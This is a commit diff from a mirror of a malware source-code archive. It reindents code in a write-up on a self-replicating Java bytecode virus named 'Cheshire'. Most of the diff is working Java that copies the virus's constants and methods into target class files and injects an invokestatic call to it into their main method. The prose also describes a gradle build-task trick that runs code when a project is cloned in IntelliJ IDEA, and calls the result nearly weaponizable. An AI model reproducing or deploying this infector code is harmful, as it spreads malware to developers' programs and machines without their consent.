13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00

Fixed indentation in code blocks

This commit is contained in:
TheDuchy 2020-11-01 03:16:10 +01:00 committed by GitHub
parent b6467a43b8
commit dbdd507db4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -101,142 +101,141 @@ This is probably the easiest part of the whole process. Our code for doing this
```java ```java
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){ public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
byte[] orig_constant = constant_pool[origin_index-1]; byte[] orig_constant = constant_pool[origin_index-1];
//Create a map between the old and new constant pools
//This will help us avoid copying too many vars over and being wasteful
if(origin.get("constant_pool_map") == null){
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
origin.put("constant_pool_map", constant_pool_map);
}
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
if(constant_pool_map.keySet().contains(origin_index)){
return constant_pool_map.get(origin_index);
}
int const_tag = orig_constant[0];
if(const_tag == 1){
int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 7){
ByteBuffer b = ByteBuffer.allocate(3);
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_name_index = copyConstant(origin, orig_name_index, destination);
b.put(orig_constant[0]);
b.putShort((short) new_name_index);
byte[] new_constant = b.array();
int new_index;
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
byte[] selfClassBytes = (byte[]) destination.get("this_class");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
new_index = selfBytes.getShort();
}
else{
new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
}
return new_index;
}
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
ByteBuffer b = ByteBuffer.allocate(5);
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_class_index = copyConstant(origin, orig_class_index, destination);
String thisClass = getClassName(origin);
byte[] methodClassBytes = constant_pool[orig_class_index-1];
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
methodClassBuffer.get();
int classNameIndex = methodClassBuffer.getShort();
String methodClassName = getUtf8Constant(classNameIndex, origin);
if(methodClassName.equals(getClassName(origin))){ //Create a map between the old and new constant pools
byte[] selfClassBytes = (byte[]) destination.get("this_class"); //This will help us avoid copying too many vars over and being wasteful
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool"); if(origin.get("constant_pool_map") == null){
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
new_class_index = selfBytes.getShort(); origin.put("constant_pool_map", constant_pool_map);
} }
b.put(orig_constant[0]); HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
b.putShort((short) new_class_index); if(constant_pool_map.keySet().contains(origin_index)){
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); return constant_pool_map.get(origin_index);
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); }
b.putShort((short) new_name_and_type_index); int const_tag = orig_constant[0];
byte[] new_constant = b.array(); if(const_tag == 1){
int new_index = addToPool(destination, new_constant); int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index); constant_pool_map.put(origin_index, new_index);
return new_index; return new_index;
} }
else if(const_tag == 8){ else if(const_tag == 7){
ByteBuffer b = ByteBuffer.allocate(3); ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]); int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); int new_name_index = copyConstant(origin, orig_name_index, destination);
int new_string_index = copyConstant(origin, orig_string_index, destination); b.put(orig_constant[0]);
b.putShort((short) new_string_index); b.putShort((short) new_name_index);
byte[] new_constant = b.array(); byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant); int new_index;
constant_pool_map.put(origin_index, new_index); if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
return new_index; byte[] selfClassBytes = (byte[]) destination.get("this_class");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
} new_index = selfBytes.getShort();
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){ }
int new_index = addToPool(destination, orig_constant); else{
constant_pool_map.put(origin_index, new_index); new_index = addToPool(destination, new_constant);
return new_index; constant_pool_map.put(origin_index, new_index);
} }
else if(const_tag == 12){ return new_index;
ByteBuffer b = ByteBuffer.allocate(5); }
b.put(orig_constant[0]); else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); ByteBuffer b = ByteBuffer.allocate(5);
int new_name_index = copyConstant(origin, orig_name_index, destination); int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
b.putShort((short) new_name_index); int new_class_index = copyConstant(origin, orig_class_index, destination);
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); String thisClass = getClassName(origin);
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); byte[] methodClassBytes = constant_pool[orig_class_index-1];
b.putShort((short) new_descriptor_index); ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
byte[] new_constant = b.array(); methodClassBuffer.get();
int new_index = addToPool(destination, new_constant); int classNameIndex = methodClassBuffer.getShort();
constant_pool_map.put(origin_index, new_index); String methodClassName = getUtf8Constant(classNameIndex, origin);
return new_index;
} if(methodClassName.equals(getClassName(origin))){
else if(const_tag == 15){ byte[] selfClassBytes = (byte[]) destination.get("this_class");
ByteBuffer b = ByteBuffer.allocate(4); byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
b.put(orig_constant[0]); ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
b.put(orig_constant[1]); new_class_index = selfBytes.getShort();
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF)); }
int new_reference_index = copyConstant(origin, old_reference_index, destination); b.put(orig_constant[0]);
b.putShort((short) new_reference_index); b.putShort((short) new_class_index);
byte[] new_constant = b.array(); int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_index = addToPool(destination, new_constant); int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
constant_pool_map.put(origin_index, new_index); b.putShort((short) new_name_and_type_index);
return new_index; byte[] new_constant = b.array();
} int new_index = addToPool(destination, new_constant);
else if(const_tag == 16){ constant_pool_map.put(origin_index, new_index);
ByteBuffer b = ByteBuffer.allocate(3); return new_index;
b.put(orig_constant[0]); }
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); else if(const_tag == 8){
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); ByteBuffer b = ByteBuffer.allocate(3);
b.putShort((short) new_descriptor_index); b.put(orig_constant[0]);
byte[] new_constant = b.array(); int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_index = addToPool(destination, new_constant); int new_string_index = copyConstant(origin, orig_string_index, destination);
constant_pool_map.put(origin_index, new_index); b.putShort((short) new_string_index);
return new_index; byte[] new_constant = b.array();
} int new_index = addToPool(destination, new_constant);
else if(const_tag == 18){ constant_pool_map.put(origin_index, new_index);
ByteBuffer b = ByteBuffer.allocate(5); return new_index;
b.put(orig_constant[0]); }
b.put(orig_constant[1]); else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
b.put(orig_constant[2]); int new_index = addToPool(destination, orig_constant);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); constant_pool_map.put(origin_index, new_index);
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); return new_index;
b.putShort((short) new_name_and_type_index); }
byte[] new_constant = b.array(); else if(const_tag == 12){
int new_index = addToPool(destination, new_constant); ByteBuffer b = ByteBuffer.allocate(5);
constant_pool_map.put(origin_index, new_index); b.put(orig_constant[0]);
return new_index; int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
} int new_name_index = copyConstant(origin, orig_name_index, destination);
else{ b.putShort((short) new_name_index);
return -1; int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
} int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
} b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 15){
ByteBuffer b = ByteBuffer.allocate(4);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
int new_reference_index = copyConstant(origin, old_reference_index, destination);
b.putShort((short) new_reference_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 16){
ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]);
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 18){
ByteBuffer b = ByteBuffer.allocate(5);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
b.put(orig_constant[2]);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
b.putShort((short) new_name_and_type_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else{
return -1;
}
}
``` ```
Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever
@ -254,36 +253,35 @@ merely a matter of adding it to an index of methods, the real challenge is in en
The workhorse of the virus for this is the instructionIndex method: The workhorse of the virus for this is the instructionIndex method:
```java ```java
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){ public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
int oldposition = 0; int oldposition = 0;
int newposition = 0; int newposition = 0;
int remainder = 0; int remainder = 0;
int instruction_pos = 0; int instruction_pos = 0;
int list_offset = 0; int list_offset = 0;
if(oldList.size() != newList.size()){ if(oldList.size() != newList.size()){
list_offset = newList.size() - oldList.size(); list_offset = newList.size() - oldList.size();
}
// Step one: Convert old index
while(oldposition < index){
if(oldposition + oldList.get(instruction_pos).length <= index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
}
else if(oldposition + oldList.get(instruction_pos).length > index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
remainder = oldposition - index;
oldposition -= remainder;
}
}
instruction_pos += list_offset;
//Step two: Convert instruction_pos + remainder to new position
for(int i = 0; i < instruction_pos; i++){
newposition += newList.get(i).length;
}
return newposition;
} }
// Step one: Convert old index
while(oldposition < index){
if(oldposition + oldList.get(instruction_pos).length <= index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
}
else if(oldposition + oldList.get(instruction_pos).length > index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
remainder = oldposition - index;
oldposition -= remainder;
}
}
instruction_pos += list_offset;
//Step two: Convert instruction_pos + remainder to new position
for(int i = 0; i < instruction_pos; i++){
newposition += newList.get(i).length;
}
return newposition;
}
``` ```
There's no magic here. Essentially we just need to translate the original position of some code There's no magic here. Essentially we just need to translate the original position of some code
@ -312,66 +310,63 @@ The last part of our process after we copy our methods is actually inject instru
write and have no control over. The good news for me is that this didn't require too much extra work. write and have no control over. The good news for me is that this didn't require too much extra work.
```java ```java
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){ public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
//Are there any functions called main? //Are there any functions called main?
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
//We should parse through the constant pool, look for the methodref with our method name and capture the index //We should parse through the constant pool, look for the methodref with our method name and capture the index
byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
int methodRefIndex; int methodRefIndex;
byte[] instruction_bytes = new byte[3]; byte[] instruction_bytes = new byte[3];
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
//For that method manually. //For that method manually.
//Find the Constant Pool index of the MethodRef for our virus. //Find the Constant Pool index of the MethodRef for our virus.
for(int i = 0; i < constant_pool.length; i++){ for(int i = 0; i < constant_pool.length; i++){
byte[] constant = constant_pool[i]; byte[] constant = constant_pool[i];
if(constant[0] == (byte) 10){ if(constant[0] == (byte) 10){
byte[] natindexbytes = new byte[2]; byte[] natindexbytes = new byte[2];
System.arraycopy(constant, 3 , natindexbytes, 0, 2); System.arraycopy(constant, 3 , natindexbytes, 0, 2);
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF)); int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
byte[] NameAndType = constant_pool[NameAndTypeIndex-1]; byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
byte[] nameindexbytes = new byte[2]; byte[] nameindexbytes = new byte[2];
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 ); System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF)); int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
String methodName = getUtf8Constant(NameIndex, origin); String methodName = getUtf8Constant(NameIndex, origin);
if(methodName.equals("Cheshire")){ if(methodName.equals("Cheshire")){
methodRefIndex = i+1; methodRefIndex = i+1;
methodRefIndex = copyConstant(origin, methodRefIndex, destination); methodRefIndex = copyConstant(origin, methodRefIndex, destination);
ByteBuffer bb = ByteBuffer.allocate(2); ByteBuffer bb = ByteBuffer.allocate(2);
bb.putShort((short) methodRefIndex); bb.putShort((short) methodRefIndex);
byte[] index_bytes = bb.array(); byte[] index_bytes = bb.array();
byte invokestatic = (byte) 184; byte invokestatic = (byte) 184;
instruction_bytes[0] = invokestatic; instruction_bytes[0] = invokestatic;
instruction_bytes[1] = index_bytes[0]; instruction_bytes[1] = index_bytes[0];
instruction_bytes[2] = index_bytes[1]; instruction_bytes[2] = index_bytes[1];
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>(); ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
inject_instructions.add(instruction_bytes); inject_instructions.add(instruction_bytes);
destination.put("inject_instructions", inject_instructions); destination.put("inject_instructions", inject_instructions);
}
} }
} }
byte[][] methods = (byte[][]) destination.get("methods");
for(int i = 0; i < methods.length; i++){
ByteBuffer b = ByteBuffer.wrap(methods[i]);
b.get(new byte[2]);
int nameIndex = b.getShort();
b.get(new byte[4]);
String methodName = getUtf8Constant(nameIndex, destination);
if(methodName.equals("main")){
try {
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
} catch (IOException e) {
e.printStackTrace();
}
}
}
} }
byte[][] methods = (byte[][]) destination.get("methods");
for(int i = 0; i < methods.length; i++){
ByteBuffer b = ByteBuffer.wrap(methods[i]);
b.get(new byte[2]);
int nameIndex = b.getShort();
b.get(new byte[4]);
String methodName = getUtf8Constant(nameIndex, destination);
if(methodName.equals("main")){
try {
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
``` ```
Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef
for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with
@ -408,7 +403,6 @@ void autoBuild(){
build{ build{
autoBuild(); autoBuild();
} }
``` ```
We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle
@ -420,4 +414,3 @@ get execution on clone in IntelliJ IDEA.*** Give it a try :)
The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty
weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase
to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time. to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time.